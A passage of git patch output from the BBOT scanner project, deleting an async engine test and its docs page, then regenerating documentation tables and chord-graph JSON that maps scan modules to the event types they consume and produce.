nonlocal yield_errored - try: - for i in range(n): - yield f"thing{i}" - counter += 1 - await asyncio.sleep(0.1) - except asyncio.CancelledError: - yield_cancelled = True - raise - except Exception: - yield_errored = True - raise - - class TestEngineClient(EngineClient): - SERVER_CLASS = TestEngineServer - - async def return_thing(self, n): - return await self.run_and_return("return_thing", n) - - async def yield_stuff(self, n): - async for _ in self.run_and_yield("yield_stuff", n): - yield _ - - test_engine = TestEngineClient() - - # test return functionality - return_res = await test_engine.return_thing(1) - assert return_res == "thing1" - - # test async generator - assert counter == 0 - assert yield_cancelled is False - yield_res = [r async for r in test_engine.yield_stuff(13)] - assert yield_res == [f"thing{i}" for i in range(13)] - assert len(yield_res) == 13 - assert counter == 13 - - # test async generator with cancellation - counter = 0 - yield_cancelled = False - yield_errored = False - agen = test_engine.yield_stuff(1000) - async for r in agen: - if counter > 10: - await agen.aclose() - break - await asyncio.sleep(5) - assert yield_cancelled is True - assert yield_errored is False - assert counter < 15 - - # test async generator with error - yield_cancelled = False - yield_errored = False - agen = test_engine.yield_stuff(None) - with pytest.raises(BBOTEngineError): - async for _ in agen: - pass - assert yield_cancelled is False - assert yield_errored is True - - # test return with cancellation - return_started = False - return_finished = False - return_cancelled = False - return_errored = False - task = asyncio.create_task(test_engine.return_thing(2)) - await asyncio.sleep(1) - task.cancel() - with pytest.raises(asyncio.CancelledError): - await task - await asyncio.sleep(0.1) - assert return_started is True - assert return_finished is False - assert return_cancelled is True - assert return_errored is False - - # test return with late cancellation - return_started = False - return_finished = False - return_cancelled = False - return_errored = False - task = asyncio.create_task(test_engine.return_thing(1)) - await asyncio.sleep(2) - task.cancel() - result = await task - assert result == "thing1" - assert return_started is True - assert return_finished is True - assert return_cancelled is False - assert return_errored is False - - # test return with error - return_started = False - return_finished = False - return_cancelled = False - return_errored = False - with pytest.raises(BBOTEngineError): - result = await test_engine.return_thing(None) - assert return_started is True - assert return_finished is False - assert return_cancelled is False - assert return_errored is True - - await test_engine.shutdown() diff --git a/docs/dev/engine.md b/docs/dev/engine.md deleted file mode 100644 index d77bd3970e..0000000000 --- a/docs/dev/engine.md +++ /dev/null @@ -1,5 +0,0 @@ -::: bbot.core.engine.EngineBase - -::: bbot.core.engine.EngineClient - -::: bbot.core.engine.EngineServer diff --git a/mkdocs.yml b/mkdocs.yml index 1c11fe8114..66940059e0 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -54,7 +54,6 @@ nav: - Target: dev/target.md - BaseModule: dev/basemodule.md - BBOTCore: dev/core.md - - Engine: dev/engine.md - Helpers: - Overview: dev/helpers/index.md - Command: dev/helpers/command.md From f26b6b188995eb3783039a2f076c4993b3567e4e Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 29 Jun 2026 18:25:16 -0400 Subject: [PATCH 905/912] Regenerate docs from current module roster Run bbot/scripts/docs.py to refresh all generated tables (modules, presets, events, config, flags, output, help, TOC) and the chord-graph data. Sweeps removed modules (wpscan, httpx, ffuf, azure_realm, etc.) and adds new ones (http, webbrute, censys_dns/ip, mongo/kafka/...). --- README.md | 2 +- docs/data/chord_graph/entities.json | 564 ++++++++++++----------- docs/data/chord_graph/rels.json | 463 ++++++++++--------- docs/modules/list_of_modules.md | 9 +- docs/modules/nuclei.md | 32 +- docs/scanning/advanced.md | 56 +-- docs/scanning/configuration.md | 676 +++++++++++++++------------- docs/scanning/events.md | 70 +-- docs/scanning/index.md | 50 +- docs/scanning/output.md | 14 +- docs/scanning/presets_list.md | 214 +++++---- 11 files changed, 1149 insertions(+), 1001 deletions(-) diff --git a/README.md b/README.md index 2b4b69602c..3f08a21b6d 100644 --- a/README.md +++ b/README.md @@ -396,7 +396,7 @@ For details, see [Configuration](https://www.blacklanternsecurity.com/bbot/Stabl - [Nuclei](https://www.blacklanternsecurity.com/bbot/Stable/modules/nuclei) - [Wayback](https://www.blacklanternsecurity.com/bbot/Stable/modules/wayback) - [Custom YARA Rules](https://www.blacklanternsecurity.com/bbot/Stable/modules/custom_yara_rules) - - [Lightfuzz (DAST)](https://www.blacklanternsecurity.com/bbot/Stable/modules/lightfuzz) + - [Lightfuzz](https://www.blacklanternsecurity.com/bbot/Stable/modules/lightfuzz) - **Misc** - [Contribution](https://www.blacklanternsecurity.com/bbot/Stable/contribution) - [Release History](https://www.blacklanternsecurity.com/bbot/Stable/release_history) diff --git a/docs/data/chord_graph/entities.json b/docs/data/chord_graph/entities.json index c1be70a10c..1aa25f459c 100644 --- a/docs/data/chord_graph/entities.json +++ b/docs/data/chord_graph/entities.json @@ -38,23 +38,23 @@ "name": "CODE_REPOSITORY", "parent": 88888888, "consumes": [ - 64, - 79, + 65, 80, - 84, - 87, + 81, + 85, + 88, 123, 141, 143 ], "produces": [ 45, - 65, - 78, - 81, + 66, + 79, 82, - 85, + 83, 86, + 87, 122 ] }, @@ -91,20 +91,20 @@ 59, 60, 61, - 63, - 69, - 76, - 81, - 83, - 91, - 95, - 104, - 108, - 110, - 113, + 64, + 70, + 77, + 82, + 84, + 92, + 96, + 105, + 109, + 111, 114, - 118, - 120, + 115, + 119, + 121, 124, 128, 129, @@ -118,8 +118,8 @@ 142, 146, 147, - 148, - 150 + 151, + 154 ], "produces": [ 6, @@ -140,14 +140,14 @@ 60, 61, 62, - 76, - 91, - 95, - 104, - 108, - 111, - 113, + 77, + 92, + 96, + 105, + 109, + 112, 114, + 115, 124, 128, 130, @@ -159,8 +159,8 @@ 142, 146, 147, - 148, - 150 + 151, + 154 ] }, { @@ -174,22 +174,31 @@ ], "produces": [] }, + { + "id": 149, + "name": "DNS_NAME_UNVERIFIED", + "parent": 88888888, + "consumes": [], + "produces": [ + 148 + ] + }, { "id": 48, "name": "EMAIL_ADDRESS", "parent": 88888888, "consumes": [ - 70 + 71 ], "produces": [ 47, 54, 59, - 63, - 69, - 83, - 95, - 118, + 64, + 70, + 84, + 96, + 119, 129, 133, 136 @@ -200,19 +209,19 @@ "name": "FILESYSTEM", "parent": 88888888, "consumes": [ - 102, 103, + 104, 143, 144 ], "produces": [ 8, - 64, - 74, - 79, + 65, + 75, 80, - 84, - 102, + 81, + 85, + 103, 123, 144 ] @@ -223,7 +232,7 @@ "parent": 88888888, "consumes": [ 15, - 152 + 156 ], "produces": [ 1, @@ -240,19 +249,19 @@ 33, 34, 37, - 68, - 77, + 69, 78, - 86, - 90, - 92, - 94, - 105, + 79, + 87, + 91, + 93, + 95, 106, 107, - 109, - 111, + 108, + 110, 112, + 113, 125, 126, 131, @@ -262,17 +271,18 @@ 141, 143, 145, - 155 + 152, + 154 ] }, { - "id": 99, + "id": 100, "name": "GEOLOCATION", "parent": 88888888, "consumes": [], "produces": [ - 98, - 101 + 99, + 102 ] }, { @@ -293,25 +303,27 @@ 1, 15, 26, - 68, - 71, - 74, - 86, - 92, - 109, + 69, + 72, + 75, + 87, + 93, 110, 111, - 115, + 112, 116, 117, + 118, 135, 136, 140, - 143, - 155 + 143 ], "produces": [ - 93 + 94, + 107, + 148, + 154 ] }, { @@ -322,11 +334,11 @@ 11, 15, 40, - 98, - 100, + 99, 101, - 110, - 120, + 102, + 111, + 121, 131, 132, 135 @@ -335,19 +347,21 @@ 15, 40, 62, - 100, + 101, 135 ] }, { - "id": 121, + "id": 63, "name": "IP_RANGE", "parent": 88888888, "consumes": [ - 120, + 121, 135 ], - "produces": [] + "produces": [ + 62 + ] }, { "id": 9, @@ -357,7 +371,7 @@ 8 ], "produces": [ - 87 + 88 ] }, { @@ -366,15 +380,15 @@ "parent": 88888888, "consumes": [ 15, - 75, - 93, - 110, - 119 + 76, + 94, + 111, + 120 ], "produces": [ 15, 40, - 120, + 121, 131, 132, 135 @@ -391,13 +405,13 @@ ] }, { - "id": 66, + "id": 67, "name": "ORG_STUB", "parent": 88888888, "consumes": [ - 65, - 82, - 87, + 66, + 83, + 88, 122 ], "produces": [ @@ -419,13 +433,13 @@ "name": "PROTOCOL", "parent": 88888888, "consumes": [ - 105, - 107, - 110 + 106, + 108, + 111 ], "produces": [ 40, - 75 + 76 ] }, { @@ -436,38 +450,38 @@ "produces": [ 55, 62, - 63 + 64 ] }, { - "id": 72, + "id": 73, "name": "RAW_TEXT", "parent": 88888888, "consumes": [ - 71, + 72, 143 ], "produces": [ - 103 + 104 ] }, { - "id": 67, + "id": 68, "name": "SOCIAL", "parent": 88888888, "consumes": [ - 65, - 82, - 85, + 66, + 83, 86, - 88, + 87, + 89, 122, 135 ], "produces": [ - 65, - 83, - 86, + 66, + 84, + 87, 134 ] }, @@ -501,22 +515,20 @@ "parent": 88888888, "consumes": [ 15, - 86, + 87, 141, - 152, - 155 + 156 ], "produces": [ 1, 26, 40, - 68, - 86, - 88, - 112, + 69, + 87, + 89, + 113, 131, - 132, - 155 + 132 ] }, { @@ -529,38 +541,41 @@ 15, 23, 37, - 77, 78, - 88, - 90, - 93, - 96, - 106, - 111, + 79, + 89, + 91, + 94, + 97, + 107, 112, - 119, + 113, + 120, 127, 135, 140, 145, - 149, + 148, 152, - 153 + 153, + 154, + 156, + 157 ], "produces": [ - 88, - 93 + 89, + 94 ] }, { - "id": 97, + "id": 98, "name": "URL_HINT", "parent": 88888888, "consumes": [ - 154 + 158 ], "produces": [ - 96 + 97 ] }, { @@ -569,10 +584,10 @@ "parent": 88888888, "consumes": [ 45, - 74, - 93, - 113, - 119, + 75, + 94, + 114, + 120, 126, 134, 135, @@ -585,20 +600,19 @@ 40, 55, 59, - 63, - 65, - 71, - 75, - 81, - 88, - 95, + 64, + 66, + 72, + 76, + 82, + 89, + 96, 127, 129, 146, - 150, - 153, 154, - 155 + 157, + 158 ] }, { @@ -613,6 +627,15 @@ 54 ] }, + { + "id": 150, + "name": "VIRTUAL_HOST", + "parent": 88888888, + "consumes": [], + "produces": [ + 148 + ] + }, { "id": 17, "name": "WAF", @@ -621,36 +644,37 @@ 15 ], "produces": [ - 149 + 153 ] }, { - "id": 89, + "id": 90, "name": "WEBSCREENSHOT", "parent": 88888888, "consumes": [], "produces": [ - 88 + 89 ] }, { - "id": 73, + "id": 74, "name": "WEB_PARAMETER", "parent": 88888888, "consumes": [ - 94, - 106, - 115, + 95, + 107, 116, 117, + 118, 125, - 151 + 155 ], "produces": [ - 71, - 115, + 72, 116, - 117 + 117, + 118, + 154 ] }, { @@ -1123,11 +1147,12 @@ "produces": [ 7, 12, + 63, 56 ] }, { - "id": 63, + "id": 64, "name": "dnstlsrpt", "parent": 99999999, "consumes": [ @@ -1140,7 +1165,7 @@ ] }, { - "id": 64, + "id": 65, "name": "docker_pull", "parent": 99999999, "consumes": [ @@ -1151,21 +1176,21 @@ ] }, { - "id": 65, + "id": 66, "name": "dockerhub", "parent": 99999999, "consumes": [ - 66, - 67 + 67, + 68 ], "produces": [ 46, - 67, + 68, 20 ] }, { - "id": 68, + "id": 69, "name": "dotnetnuke", "parent": 99999999, "consumes": [ @@ -1177,7 +1202,7 @@ ] }, { - "id": 69, + "id": 70, "name": "emailformat", "parent": 99999999, "consumes": [ @@ -1188,7 +1213,7 @@ ] }, { - "id": 70, + "id": 71, "name": "emails", "parent": 99999999, "consumes": [ @@ -1197,20 +1222,20 @@ "produces": [] }, { - "id": 71, + "id": 72, "name": "excavate", "parent": 99999999, "consumes": [ 2, - 72 + 73 ], "produces": [ 20, - 73 + 74 ] }, { - "id": 74, + "id": 75, "name": "filedownload", "parent": 99999999, "consumes": [ @@ -1222,7 +1247,7 @@ ] }, { - "id": 75, + "id": 76, "name": "fingerprintx", "parent": 99999999, "consumes": [ @@ -1234,7 +1259,7 @@ ] }, { - "id": 76, + "id": 77, "name": "fullhunt", "parent": 99999999, "consumes": [ @@ -1245,7 +1270,7 @@ ] }, { - "id": 77, + "id": 78, "name": "generic_ssrf", "parent": 99999999, "consumes": [ @@ -1256,7 +1281,7 @@ ] }, { - "id": 78, + "id": 79, "name": "git", "parent": 99999999, "consumes": [ @@ -1268,7 +1293,7 @@ ] }, { - "id": 79, + "id": 80, "name": "git_clone", "parent": 99999999, "consumes": [ @@ -1279,7 +1304,7 @@ ] }, { - "id": 80, + "id": 81, "name": "gitdumper", "parent": 99999999, "consumes": [ @@ -1290,7 +1315,7 @@ ] }, { - "id": 81, + "id": 82, "name": "github_codesearch", "parent": 99999999, "consumes": [ @@ -1302,19 +1327,19 @@ ] }, { - "id": 82, + "id": 83, "name": "github_org", "parent": 99999999, "consumes": [ - 66, - 67 + 67, + 68 ], "produces": [ 46 ] }, { - "id": 83, + "id": 84, "name": "github_usersearch", "parent": 99999999, "consumes": [ @@ -1322,11 +1347,11 @@ ], "produces": [ 48, - 67 + 68 ] }, { - "id": 84, + "id": 85, "name": "github_workflows", "parent": 99999999, "consumes": [ @@ -1337,61 +1362,61 @@ ] }, { - "id": 85, + "id": 86, "name": "gitlab_com", "parent": 99999999, "consumes": [ - 67 + 68 ], "produces": [ 46 ] }, { - "id": 86, + "id": 87, "name": "gitlab_onprem", "parent": 99999999, "consumes": [ 2, - 67, + 68, 5 ], "produces": [ 46, 4, - 67, + 68, 5 ] }, { - "id": 87, + "id": 88, "name": "google_playstore", "parent": 99999999, "consumes": [ 46, - 66 + 67 ], "produces": [ 9 ] }, { - "id": 88, + "id": 89, "name": "gowitness", "parent": 99999999, "consumes": [ - 67, + 68, 3 ], "produces": [ 5, 3, 20, - 89 + 90 ] }, { - "id": 90, + "id": 91, "name": "graphql_introspection", "parent": 99999999, "consumes": [ @@ -1402,7 +1427,7 @@ ] }, { - "id": 91, + "id": 92, "name": "hackertarget", "parent": 99999999, "consumes": [ @@ -1413,7 +1438,7 @@ ] }, { - "id": 92, + "id": 93, "name": "host_header", "parent": 99999999, "consumes": [ @@ -1424,7 +1449,7 @@ ] }, { - "id": 93, + "id": 94, "name": "http", "parent": 99999999, "consumes": [ @@ -1438,18 +1463,18 @@ ] }, { - "id": 94, + "id": 95, "name": "hunt", "parent": 99999999, "consumes": [ - 73 + 74 ], "produces": [ 4 ] }, { - "id": 95, + "id": 96, "name": "hunterio", "parent": 99999999, "consumes": [ @@ -1462,29 +1487,29 @@ ] }, { - "id": 96, + "id": 97, "name": "iis_shortnames", "parent": 99999999, "consumes": [ 3 ], "produces": [ - 97 + 98 ] }, { - "id": 98, + "id": 99, "name": "ip2location", "parent": 99999999, "consumes": [ 12 ], "produces": [ - 99 + 100 ] }, { - "id": 100, + "id": 101, "name": "ipneighbor", "parent": 99999999, "consumes": [ @@ -1495,18 +1520,18 @@ ] }, { - "id": 101, + "id": 102, "name": "ipstack", "parent": 99999999, "consumes": [ 12 ], "produces": [ - 99 + 100 ] }, { - "id": 102, + "id": 103, "name": "jadx", "parent": 99999999, "consumes": [ @@ -1517,18 +1542,18 @@ ] }, { - "id": 103, + "id": 104, "name": "kreuzberg", "parent": 99999999, "consumes": [ 10 ], "produces": [ - 72 + 73 ] }, { - "id": 104, + "id": 105, "name": "leakix", "parent": 99999999, "consumes": [ @@ -1539,7 +1564,7 @@ ] }, { - "id": 105, + "id": 106, "name": "legba", "parent": 99999999, "consumes": [ @@ -1550,19 +1575,20 @@ ] }, { - "id": 106, + "id": 107, "name": "lightfuzz", "parent": 99999999, "consumes": [ 3, - 73 + 74 ], "produces": [ - 4 + 4, + 2 ] }, { - "id": 107, + "id": 108, "name": "medusa", "parent": 99999999, "consumes": [ @@ -1573,7 +1599,7 @@ ] }, { - "id": 108, + "id": 109, "name": "myssl", "parent": 99999999, "consumes": [ @@ -1584,7 +1610,7 @@ ] }, { - "id": 109, + "id": 110, "name": "newsletters", "parent": 99999999, "consumes": [ @@ -1595,7 +1621,7 @@ ] }, { - "id": 110, + "id": 111, "name": "nmap_xml", "parent": 99999999, "consumes": [ @@ -1608,7 +1634,7 @@ "produces": [] }, { - "id": 111, + "id": 112, "name": "ntlm", "parent": 99999999, "consumes": [ @@ -1621,7 +1647,7 @@ ] }, { - "id": 112, + "id": 113, "name": "nuclei", "parent": 99999999, "consumes": [ @@ -1633,7 +1659,7 @@ ] }, { - "id": 113, + "id": 114, "name": "oauth", "parent": 99999999, "consumes": [ @@ -1645,7 +1671,7 @@ ] }, { - "id": 114, + "id": 115, "name": "otx", "parent": 99999999, "consumes": [ @@ -1656,43 +1682,43 @@ ] }, { - "id": 115, + "id": 116, "name": "paramminer_cookies", "parent": 99999999, "consumes": [ 2, - 73 + 74 ], "produces": [ - 73 + 74 ] }, { - "id": 116, + "id": 117, "name": "paramminer_getparams", "parent": 99999999, "consumes": [ 2, - 73 + 74 ], "produces": [ - 73 + 74 ] }, { - "id": 117, + "id": 118, "name": "paramminer_headers", "parent": 99999999, "consumes": [ 2, - 73 + 74 ], "produces": [ - 73 + 74 ] }, { - "id": 118, + "id": 119, "name": "pgp", "parent": 99999999, "consumes": [ @@ -1703,7 +1729,7 @@ ] }, { - "id": 119, + "id": 120, "name": "portfilter", "parent": 99999999, "consumes": [ @@ -1714,13 +1740,13 @@ "produces": [] }, { - "id": 120, + "id": 121, "name": "portscan", "parent": 99999999, "consumes": [ 7, 12, - 121 + 63 ], "produces": [ 16 @@ -1731,8 +1757,8 @@ "name": "postman", "parent": 99999999, "consumes": [ - 66, - 67 + 67, + 68 ], "produces": [ 46 @@ -1765,7 +1791,7 @@ "name": "reflected_parameters", "parent": 99999999, "consumes": [ - 73 + 74 ], "produces": [ 4 @@ -1875,7 +1901,7 @@ 20 ], "produces": [ - 67 + 68 ] }, { @@ -1888,8 +1914,8 @@ 22, 2, 12, - 121, - 67, + 63, + 68, 24, 3, 20, @@ -1900,7 +1926,7 @@ 4, 12, 16, - 66 + 67 ] }, { @@ -1991,7 +2017,7 @@ 46, 10, 2, - 72 + 73 ], "produces": [ 4 @@ -2044,6 +2070,19 @@ }, { "id": 148, + "name": "virtualhost", + "parent": 99999999, + "consumes": [ + 3 + ], + "produces": [ + 149, + 2, + 150 + ] + }, + { + "id": 151, "name": "virustotal", "parent": 99999999, "consumes": [ @@ -2054,7 +2093,18 @@ ] }, { - "id": 149, + "id": 152, + "name": "waf_bypass", + "parent": 99999999, + "consumes": [ + 3 + ], + "produces": [ + 4 + ] + }, + { + "id": 153, "name": "wafw00f", "parent": 99999999, "consumes": [ @@ -2065,28 +2115,32 @@ ] }, { - "id": 150, + "id": 154, "name": "wayback", "parent": 99999999, "consumes": [ - 7 + 7, + 3 ], "produces": [ 7, - 20 + 4, + 2, + 20, + 74 ] }, { - "id": 151, + "id": 155, "name": "web_parameters", "parent": 99999999, "consumes": [ - 73 + 74 ], "produces": [] }, { - "id": 152, + "id": 156, "name": "web_report", "parent": 99999999, "consumes": [ @@ -2097,7 +2151,7 @@ "produces": [] }, { - "id": 153, + "id": 157, "name": "webbrute", "parent": 99999999, "consumes": [ @@ -2108,27 +2162,13 @@ ] }, { - "id": 154, + "id": 158, "name": "webbrute_shortnames", "parent": 99999999, "consumes": [ - 97 - ], - "produces": [ - 20 - ] - }, - { - "id": 155, - "name": "wpscan", - "parent": 99999999, - "consumes": [ - 2, - 5 + 98 ], "produces": [ - 4, - 5, 20 ] } diff --git a/docs/data/chord_graph/rels.json b/docs/data/chord_graph/rels.json index e3cf6566c3..c816b6db22 100644 --- a/docs/data/chord_graph/rels.json +++ b/docs/data/chord_graph/rels.json @@ -609,739 +609,749 @@ "target": 62, "type": "produces" }, + { + "source": 63, + "target": 62, + "type": "produces" + }, { "source": 56, "target": 62, "type": "produces" }, { - "source": 63, + "source": 64, "target": 7, "type": "consumes" }, { "source": 48, - "target": 63, + "target": 64, "type": "produces" }, { "source": 56, - "target": 63, + "target": 64, "type": "produces" }, { "source": 20, - "target": 63, + "target": 64, "type": "produces" }, { - "source": 64, + "source": 65, "target": 46, "type": "consumes" }, { "source": 10, - "target": 64, + "target": 65, "type": "produces" }, { - "source": 65, - "target": 66, + "source": 66, + "target": 67, "type": "consumes" }, { - "source": 65, - "target": 67, + "source": 66, + "target": 68, "type": "consumes" }, { "source": 46, - "target": 65, + "target": 66, "type": "produces" }, { - "source": 67, - "target": 65, + "source": 68, + "target": 66, "type": "produces" }, { "source": 20, - "target": 65, + "target": 66, "type": "produces" }, { - "source": 68, + "source": 69, "target": 2, "type": "consumes" }, { "source": 4, - "target": 68, + "target": 69, "type": "produces" }, { "source": 5, - "target": 68, + "target": 69, "type": "produces" }, { - "source": 69, + "source": 70, "target": 7, "type": "consumes" }, { "source": 48, - "target": 69, + "target": 70, "type": "produces" }, { - "source": 70, + "source": 71, "target": 48, "type": "consumes" }, { - "source": 71, + "source": 72, "target": 2, "type": "consumes" }, { - "source": 71, - "target": 72, + "source": 72, + "target": 73, "type": "consumes" }, { "source": 20, - "target": 71, + "target": 72, "type": "produces" }, { - "source": 73, - "target": 71, + "source": 74, + "target": 72, "type": "produces" }, { - "source": 74, + "source": 75, "target": 2, "type": "consumes" }, { - "source": 74, + "source": 75, "target": 20, "type": "consumes" }, { "source": 10, - "target": 74, + "target": 75, "type": "produces" }, { - "source": 75, + "source": 76, "target": 16, "type": "consumes" }, { "source": 42, - "target": 75, + "target": 76, "type": "produces" }, { "source": 20, - "target": 75, + "target": 76, "type": "produces" }, { - "source": 76, + "source": 77, "target": 7, "type": "consumes" }, { "source": 7, - "target": 76, + "target": 77, "type": "produces" }, { - "source": 77, + "source": 78, "target": 3, "type": "consumes" }, { "source": 4, - "target": 77, + "target": 78, "type": "produces" }, { - "source": 78, + "source": 79, "target": 3, "type": "consumes" }, { "source": 46, - "target": 78, + "target": 79, "type": "produces" }, { "source": 4, - "target": 78, + "target": 79, "type": "produces" }, { - "source": 79, + "source": 80, "target": 46, "type": "consumes" }, { "source": 10, - "target": 79, + "target": 80, "type": "produces" }, { - "source": 80, + "source": 81, "target": 46, "type": "consumes" }, { "source": 10, - "target": 80, + "target": 81, "type": "produces" }, { - "source": 81, + "source": 82, "target": 7, "type": "consumes" }, { "source": 46, - "target": 81, + "target": 82, "type": "produces" }, { "source": 20, - "target": 81, + "target": 82, "type": "produces" }, { - "source": 82, - "target": 66, + "source": 83, + "target": 67, "type": "consumes" }, { - "source": 82, - "target": 67, + "source": 83, + "target": 68, "type": "consumes" }, { "source": 46, - "target": 82, + "target": 83, "type": "produces" }, { - "source": 83, + "source": 84, "target": 7, "type": "consumes" }, { "source": 48, - "target": 83, + "target": 84, "type": "produces" }, { - "source": 67, - "target": 83, + "source": 68, + "target": 84, "type": "produces" }, { - "source": 84, + "source": 85, "target": 46, "type": "consumes" }, { "source": 10, - "target": 84, + "target": 85, "type": "produces" }, { - "source": 85, - "target": 67, + "source": 86, + "target": 68, "type": "consumes" }, { "source": 46, - "target": 85, + "target": 86, "type": "produces" }, { - "source": 86, + "source": 87, "target": 2, "type": "consumes" }, { - "source": 86, - "target": 67, + "source": 87, + "target": 68, "type": "consumes" }, { - "source": 86, + "source": 87, "target": 5, "type": "consumes" }, { "source": 46, - "target": 86, + "target": 87, "type": "produces" }, { "source": 4, - "target": 86, + "target": 87, "type": "produces" }, { - "source": 67, - "target": 86, + "source": 68, + "target": 87, "type": "produces" }, { "source": 5, - "target": 86, + "target": 87, "type": "produces" }, { - "source": 87, + "source": 88, "target": 46, "type": "consumes" }, { - "source": 87, - "target": 66, + "source": 88, + "target": 67, "type": "consumes" }, { "source": 9, - "target": 87, + "target": 88, "type": "produces" }, { - "source": 88, - "target": 67, + "source": 89, + "target": 68, "type": "consumes" }, { - "source": 88, + "source": 89, "target": 3, "type": "consumes" }, { "source": 5, - "target": 88, + "target": 89, "type": "produces" }, { "source": 3, - "target": 88, + "target": 89, "type": "produces" }, { "source": 20, - "target": 88, + "target": 89, "type": "produces" }, { - "source": 89, - "target": 88, + "source": 90, + "target": 89, "type": "produces" }, { - "source": 90, + "source": 91, "target": 3, "type": "consumes" }, { "source": 4, - "target": 90, + "target": 91, "type": "produces" }, { - "source": 91, + "source": 92, "target": 7, "type": "consumes" }, { "source": 7, - "target": 91, + "target": 92, "type": "produces" }, { - "source": 92, + "source": 93, "target": 2, "type": "consumes" }, { "source": 4, - "target": 92, + "target": 93, "type": "produces" }, { - "source": 93, + "source": 94, "target": 16, "type": "consumes" }, { - "source": 93, + "source": 94, "target": 3, "type": "consumes" }, { - "source": 93, + "source": 94, "target": 20, "type": "consumes" }, { "source": 2, - "target": 93, + "target": 94, "type": "produces" }, { "source": 3, - "target": 93, + "target": 94, "type": "produces" }, { - "source": 94, - "target": 73, + "source": 95, + "target": 74, "type": "consumes" }, { "source": 4, - "target": 94, + "target": 95, "type": "produces" }, { - "source": 95, + "source": 96, "target": 7, "type": "consumes" }, { "source": 7, - "target": 95, + "target": 96, "type": "produces" }, { "source": 48, - "target": 95, + "target": 96, "type": "produces" }, { "source": 20, - "target": 95, + "target": 96, "type": "produces" }, { - "source": 96, + "source": 97, "target": 3, "type": "consumes" }, { - "source": 97, - "target": 96, + "source": 98, + "target": 97, "type": "produces" }, { - "source": 98, + "source": 99, "target": 12, "type": "consumes" }, { - "source": 99, - "target": 98, + "source": 100, + "target": 99, "type": "produces" }, { - "source": 100, + "source": 101, "target": 12, "type": "consumes" }, { "source": 12, - "target": 100, + "target": 101, "type": "produces" }, { - "source": 101, + "source": 102, "target": 12, "type": "consumes" }, { - "source": 99, - "target": 101, + "source": 100, + "target": 102, "type": "produces" }, { - "source": 102, + "source": 103, "target": 10, "type": "consumes" }, { "source": 10, - "target": 102, + "target": 103, "type": "produces" }, { - "source": 103, + "source": 104, "target": 10, "type": "consumes" }, { - "source": 72, - "target": 103, + "source": 73, + "target": 104, "type": "produces" }, { - "source": 104, + "source": 105, "target": 7, "type": "consumes" }, { "source": 7, - "target": 104, + "target": 105, "type": "produces" }, { - "source": 105, + "source": 106, "target": 42, "type": "consumes" }, { "source": 4, - "target": 105, + "target": 106, "type": "produces" }, { - "source": 106, + "source": 107, "target": 3, "type": "consumes" }, { - "source": 106, - "target": 73, + "source": 107, + "target": 74, "type": "consumes" }, { "source": 4, - "target": 106, + "target": 107, "type": "produces" }, { - "source": 107, + "source": 2, + "target": 107, + "type": "produces" + }, + { + "source": 108, "target": 42, "type": "consumes" }, { "source": 4, - "target": 107, + "target": 108, "type": "produces" }, { - "source": 108, + "source": 109, "target": 7, "type": "consumes" }, { "source": 7, - "target": 108, + "target": 109, "type": "produces" }, { - "source": 109, + "source": 110, "target": 2, "type": "consumes" }, { "source": 4, - "target": 109, + "target": 110, "type": "produces" }, { - "source": 110, + "source": 111, "target": 7, "type": "consumes" }, { - "source": 110, + "source": 111, "target": 2, "type": "consumes" }, { - "source": 110, + "source": 111, "target": 12, "type": "consumes" }, { - "source": 110, + "source": 111, "target": 16, "type": "consumes" }, { - "source": 110, + "source": 111, "target": 42, "type": "consumes" }, { - "source": 111, + "source": 112, "target": 2, "type": "consumes" }, { - "source": 111, + "source": 112, "target": 3, "type": "consumes" }, { "source": 7, - "target": 111, + "target": 112, "type": "produces" }, { "source": 4, - "target": 111, + "target": 112, "type": "produces" }, { - "source": 112, + "source": 113, "target": 3, "type": "consumes" }, { "source": 4, - "target": 112, + "target": 113, "type": "produces" }, { "source": 5, - "target": 112, + "target": 113, "type": "produces" }, { - "source": 113, + "source": 114, "target": 7, "type": "consumes" }, { - "source": 113, + "source": 114, "target": 20, "type": "consumes" }, { "source": 7, - "target": 113, + "target": 114, "type": "produces" }, { - "source": 114, + "source": 115, "target": 7, "type": "consumes" }, { "source": 7, - "target": 114, + "target": 115, "type": "produces" }, { - "source": 115, + "source": 116, "target": 2, "type": "consumes" }, { - "source": 115, - "target": 73, + "source": 116, + "target": 74, "type": "consumes" }, { - "source": 73, - "target": 115, + "source": 74, + "target": 116, "type": "produces" }, { - "source": 116, + "source": 117, "target": 2, "type": "consumes" }, { - "source": 116, - "target": 73, + "source": 117, + "target": 74, "type": "consumes" }, { - "source": 73, - "target": 116, + "source": 74, + "target": 117, "type": "produces" }, { - "source": 117, + "source": 118, "target": 2, "type": "consumes" }, { - "source": 117, - "target": 73, + "source": 118, + "target": 74, "type": "consumes" }, { - "source": 73, - "target": 117, + "source": 74, + "target": 118, "type": "produces" }, { - "source": 118, + "source": 119, "target": 7, "type": "consumes" }, { "source": 48, - "target": 118, + "target": 119, "type": "produces" }, { - "source": 119, + "source": 120, "target": 16, "type": "consumes" }, { - "source": 119, + "source": 120, "target": 3, "type": "consumes" }, { - "source": 119, + "source": 120, "target": 20, "type": "consumes" }, { - "source": 120, + "source": 121, "target": 7, "type": "consumes" }, { - "source": 120, + "source": 121, "target": 12, "type": "consumes" }, { - "source": 120, - "target": 121, + "source": 121, + "target": 63, "type": "consumes" }, { "source": 16, - "target": 120, + "target": 121, "type": "produces" }, { "source": 122, - "target": 66, + "target": 67, "type": "consumes" }, { "source": 122, - "target": 67, + "target": 68, "type": "consumes" }, { @@ -1371,7 +1381,7 @@ }, { "source": 125, - "target": 73, + "target": 74, "type": "consumes" }, { @@ -1505,7 +1515,7 @@ "type": "consumes" }, { - "source": 67, + "source": 68, "target": 134, "type": "produces" }, @@ -1536,12 +1546,12 @@ }, { "source": 135, - "target": 121, + "target": 63, "type": "consumes" }, { "source": 135, - "target": 67, + "target": 68, "type": "consumes" }, { @@ -1585,7 +1595,7 @@ "type": "produces" }, { - "source": 66, + "source": 67, "target": 135, "type": "produces" }, @@ -1696,7 +1706,7 @@ }, { "source": 143, - "target": 72, + "target": 73, "type": "consumes" }, { @@ -1751,102 +1761,127 @@ }, { "source": 148, - "target": 7, + "target": 3, "type": "consumes" }, { - "source": 7, + "source": 149, "target": 148, "type": "produces" }, { - "source": 149, - "target": 3, - "type": "consumes" + "source": 2, + "target": 148, + "type": "produces" }, { - "source": 17, - "target": 149, + "source": 150, + "target": 148, "type": "produces" }, { - "source": 150, + "source": 151, "target": 7, "type": "consumes" }, { "source": 7, - "target": 150, + "target": 151, "type": "produces" }, { - "source": 20, - "target": 150, 